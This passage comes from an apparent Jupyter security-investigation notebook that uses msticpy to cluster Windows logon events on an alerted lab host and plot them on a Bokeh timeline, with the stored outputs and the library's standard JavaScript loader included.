WORKGROUP/MSTICAlertsWin1$\n", "Logon process: Advapi \n", "Authentication: Negotiate\n", "Source IpAddress: -\n", "Source Host: MSTICAlertsWin1\n", "Logon status: \n", "\n" ] } ], "source": [ "if security_alert.primary_account:\n", " logon_event = qry.get_host_logon(provs=[query_times, security_alert])\n", " nbdisp.display_logon_data(logon_event, security_alert)\n", "else:\n", " print('No account entity in the source alert.')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### All Host Logons\n", "Since the number of logon events may be large and, in the case of system logons, very repetitive, we use clustering to try to identity logons with unique characteristics.\n", "\n", "In this case we use the numeric score of the account name and the logon type (i.e. interactive, service, etc.). The results of the clustered logons are shown below along with a more detailed, readable printout of the logon event information. The data here will vary depending on whether this is a Windows or Linux host." ] }, { "cell_type": "code", "execution_count": 59, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Number of input events: 14\n", "Number of clustered events: 3\n", "\n", "Distinct host logon patterns:\n" ] }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeAuthenticationPackageNameStatusIpAddressWorkstationNameAccountNumLogonHourClusteredClusterIdClusterSizeLastEventTime
0802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\MSTICAdmin46242019-01-15 05:15:02.98046fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18MSTICAdminMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-5000xfaac27Advapi4Negotiate-MSTICAlertsWin123195True0.02.02019-01-15 04:28:33.090
1802d39e1-9d70-404d-832c-2de5e2478edaNT AUTHORITY\\SYSTEM46242019-01-15 05:15:04.50346fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18SYSTEMNT AUTHORITYS-1-5-180x3e7Advapi5Negotiate--14845True1.011.02019-01-15 03:09:51.707
2802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\adm1nistrator46242019-01-15 05:15:06.36346fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1--S-1-0-0adm1nistratorMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-10660xfb5ee6NtLmSsp3NTLMfe80::38dc:e4a9:61bd:b458MSTICAlertsWin127995False-1.01.02019-01-15 05:15:06.363
\n", "
" ], "text/plain": [ " TenantId Account \\\n", "0 802d39e1-9d70-404d-832c-2de5e2478eda MSTICAlertsWin1\\MSTICAdmin \n", "1 802d39e1-9d70-404d-832c-2de5e2478eda NT AUTHORITY\\SYSTEM \n", "2 802d39e1-9d70-404d-832c-2de5e2478eda MSTICAlertsWin1\\adm1nistrator \n", "\n", " EventID TimeGenerated SourceComputerId \\\n", "0 4624 2019-01-15 05:15:02.980 46fe7078-61bb-4bed-9430-7ac01d91c273 \n", "1 4624 2019-01-15 05:15:04.503 46fe7078-61bb-4bed-9430-7ac01d91c273 \n", "2 4624 2019-01-15 05:15:06.363 46fe7078-61bb-4bed-9430-7ac01d91c273 \n", "\n", " Computer SubjectUserName SubjectDomainName SubjectUserSid \\\n", "0 MSTICAlertsWin1 MSTICAlertsWin1$ WORKGROUP S-1-5-18 \n", "1 MSTICAlertsWin1 MSTICAlertsWin1$ WORKGROUP S-1-5-18 \n", "2 MSTICAlertsWin1 - - S-1-0-0 \n", "\n", " TargetUserName TargetDomainName \\\n", "0 MSTICAdmin MSTICAlertsWin1 \n", "1 SYSTEM NT AUTHORITY \n", "2 adm1nistrator MSTICAlertsWin1 \n", "\n", " TargetUserSid TargetLogonId \\\n", "0 S-1-5-21-996632719-2361334927-4038480536-500 0xfaac27 \n", "1 S-1-5-18 0x3e7 \n", "2 S-1-5-21-996632719-2361334927-4038480536-1066 0xfb5ee6 \n", "\n", " LogonProcessName LogonType AuthenticationPackageName Status \\\n", "0 Advapi 4 Negotiate \n", "1 Advapi 5 Negotiate \n", "2 NtLmSsp 3 NTLM \n", "\n", " IpAddress WorkstationName AccountNum LogonHour Clustered \\\n", "0 - MSTICAlertsWin1 2319 5 True \n", "1 - - 1484 5 True \n", "2 fe80::38dc:e4a9:61bd:b458 MSTICAlertsWin1 2799 5 False \n", "\n", " ClusterId ClusterSize LastEventTime \n", "0 0.0 2.0 2019-01-15 04:28:33.090 \n", "1 1.0 11.0 2019-01-15 03:09:51.707 \n", "2 -1.0 1.0 2019-01-15 05:15:06.363 " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n", "\n", "host_logons = qry.list_host_logons(provs=[query_times, security_alert])\n", "if len(host_logons) > 0:\n", " logon_features = host_logons.copy()\n", " logon_features['AccountNum'] = host_logons.apply(lambda x: _string_score(x.Account), axis=1)\n", " logon_features['LogonHour'] = host_logons.apply(lambda x: x.TimeGenerated.hour, axis=1)\n", "\n", " # you might need to play around with the max_cluster_distance parameter.\n", " # decreasing this gives more clusters.\n", " (clus_logons, _, _) = dbcluster_events(data=logon_features, time_column='TimeGenerated',\n", " cluster_columns=['AccountNum',\n", " 'LogonType'],\n", " max_cluster_distance=0.0001)\n", " print('Number of input events:', len(host_logons))\n", " print('Number of clustered events:', len(clus_logons))\n", " print('\\nDistinct host logon patterns:')\n", " display(clus_logons.sort_values('TimeGenerated'))\n", "else:\n", " print('No logon events found for host.')" ] }, { "cell_type": "code", "execution_count": 60, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "### Account Logon\n", "Account: adm1nistrator\n", "Account Domain: MSTICAlertsWin1\n", "Logon Time: 2019-01-15 05:15:06.363000\n", "Logon type: 3 (Network)\n", "User Id/SID: S-1-5-21-996632719-2361334927-4038480536-1066\n", " SID S-1-5-21-996632719-2361334927-4038480536-1066 is local machine or domain account\n", "Session id '0xfb5ee6' \n", "Subject (source) account: -/-\n", "Logon process: NtLmSsp \n", "Authentication: NTLM\n", "Source IpAddress: fe80::38dc:e4a9:61bd:b458\n", "Source Host: MSTICAlertsWin1\n", "Logon status: \n", "\n", "### Account Logon\n", "Account: MSTICAdmin\n", "Account Domain: MSTICAlertsWin1\n", "Logon Time: 2019-01-15 05:15:02.980000\n", "Logon type: 4 (Batch)\n", "User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500\n", " SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator\n", " SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account\n", "Session id '0xfaac27' \n", "Subject (source) account: WORKGROUP/MSTICAlertsWin1$\n", "Logon process: Advapi \n", "Authentication: Negotiate\n", "Source IpAddress: -\n", "Source Host: MSTICAlertsWin1\n", "Logon status: \n", "\n", "### Account Logon\n", "Account: SYSTEM\n", "Account Domain: NT AUTHORITY\n", "Logon Time: 2019-01-15 05:15:04.503000\n", "Logon type: 5 (Service)\n", "User Id/SID: S-1-5-18\n", " SID S-1-5-18 is LOCAL_SYSTEM\n", "Session id '0x3e7' System logon session\n", "\n", "Subject (source) account: WORKGROUP/MSTICAlertsWin1$\n", "Logon process: Advapi \n", "Authentication: Negotiate\n", "Source IpAddress: -\n", "Source Host: -\n", "Logon status: \n", "\n" ] } ], "source": [ "# Display logon details\n", "nbdisp.display_logon_data(clus_logons, security_alert)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Comparing All Logons with Clustered results relative to Alert time line" ] }, { "cell_type": "code", "execution_count": 61, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '5c59de49-30f7-41ad-a478-b719f03f88c5' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '5c59de49-30f7-41ad-a478-b719f03f88c5' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"5c59de49-30f7-41ad-a478-b719f03f88c5\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "Alert start time = 2019-01-15 05:15:15\n" ] }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"c5b57978-c446-413d-8ffe-c34d88a59d32\":{\"roots\":{\"references\":[{\"attributes\":{\"plot\":{\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"ba3a6a12-825e-4c53-9188-806fb2aac550\",\"type\":\"DatetimeTicker\"}},\"id\":\"a8969e6f-c053-413f-8c1e-ecb85206cd65\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3c5487cf-e81e-4873-9824-efec57cdae7c\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"279ae439-008e-473d-a54e-19d9cebfabba\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"below\":[{\"id\":\"f3f10f43-8d82-4629-bba9-d9ae24afbbdf\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"bc6512e6-5ecf-405c-92d1-1d7948edd1d2\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"f3f10f43-8d82-4629-bba9-d9ae24afbbdf\",\"type\":\"DatetimeAxis\"},{\"id\":\"a8969e6f-c053-413f-8c1e-ecb85206cd65\",\"type\":\"Grid\"},{\"id\":\"bc6512e6-5ecf-405c-92d1-1d7948edd1d2\",\"type\":\"LinearAxis\"},{\"id\":\"b4f09a37-830d-4fa5-9a6f-fb03c5ec36f8\",\"type\":\"Grid\"},{\"id\":\"10dea424-9f30-48b9-a78e-4b3584a3ab5f\",\"type\":\"BoxAnnotation\"},{\"id\":\"255c3bf2-0f49-4f5f-8ed2-12ea7b3d5237\",\"type\":\"GlyphRenderer\"},{\"id\":\"230e0895-0d30-49ef-8321-3bc6b1790fbb\",\"type\":\"GlyphRenderer\"},{\"id\":\"8d28dd36-55e2-4dcc-8710-f34bf5bd7abc\",\"type\":\"GlyphRenderer\"},{\"id\":\"d40d46b8-b67c-453d-beb5-a8c33574b201\",\"type\":\"Label\"}],\"title\":{\"id\":\"1885424e-9e19-4aa4-8bd5-0f542fb99257\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"769d6ea0-b272-45f7-a503-2be44fdaba8d\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"201a999c-b56d-465d-a734-b185dc602d77\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"de94623e-9eb3-4400-83e5-e3c5358b439a\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"f3917218-1d31-4ae2-9fc7-dd59aeffafd3\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"615ba679-8e16-4f09-a586-9152d969fcaa\",\"type\":\"LinearScale\"}},\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\"ddd91ddd-254b-48fd-9446-ba50f0ec899e\",\"type\":\"ColumnDataSource\"}},\"id\":\"61088cca-bcfc-4594-a397-8bcf63f518c1\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"c176efed-a07a-4b52-8190-54c4a13b8369\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"3195eaeb-3459-4648-968d-412badaa8f3a\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"overlay\":{\"id\":\"10dea424-9f30-48b9-a78e-4b3584a3ab5f\",\"type\":\"BoxAnnotation\"}},\"id\":\"99a2e9aa-8a70-45ee-ba96-7955e75514d6\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"de94623e-9eb3-4400-83e5-e3c5358b439a\",\"type\":\"LinearScale\"},{\"attributes\":{\"callback\":null},\"id\":\"f3917218-1d31-4ae2-9fc7-dd59aeffafd3\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"e0ea5ef2-f45d-4ff5-8e89-8e1982a767de\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null},\"id\":\"201a999c-b56d-465d-a734-b185dc602d77\",\"type\":\"DataRange1d\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"c3f04994-b52a-4e12-ae84-dee053c05273\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"615ba679-8e16-4f09-a586-9152d969fcaa\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"f72b2ab6-97c3-46f5-840e-d6b4ccc55c7f\",\"type\":\"BasicTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"0a494196-237c-46af-9888-728eb7da84be\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"36cb7b7c-235d-4230-a7be-28fd9c2acd0f\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"bfc85e9c-5ecd-4124-8edd-f24dee336624\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"ba3a6a12-825e-4c53-9188-806fb2aac550\",\"type\":\"DatetimeTicker\"}},\"id\":\"f3f10f43-8d82-4629-bba9-d9ae24afbbdf\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1547529315000.0,1547529315000.0],\"y\":[0,3]},\"selected\":{\"id\":\"bf5d559b-76e0-481a-a4c2-e47d43699258\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"4ef18e20-9633-438c-b280-938caf568344\",\"type\":\"UnionRenderers\"}},\"id\":\"b977f490-a055-4b9c-8944-6f479d42970c\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\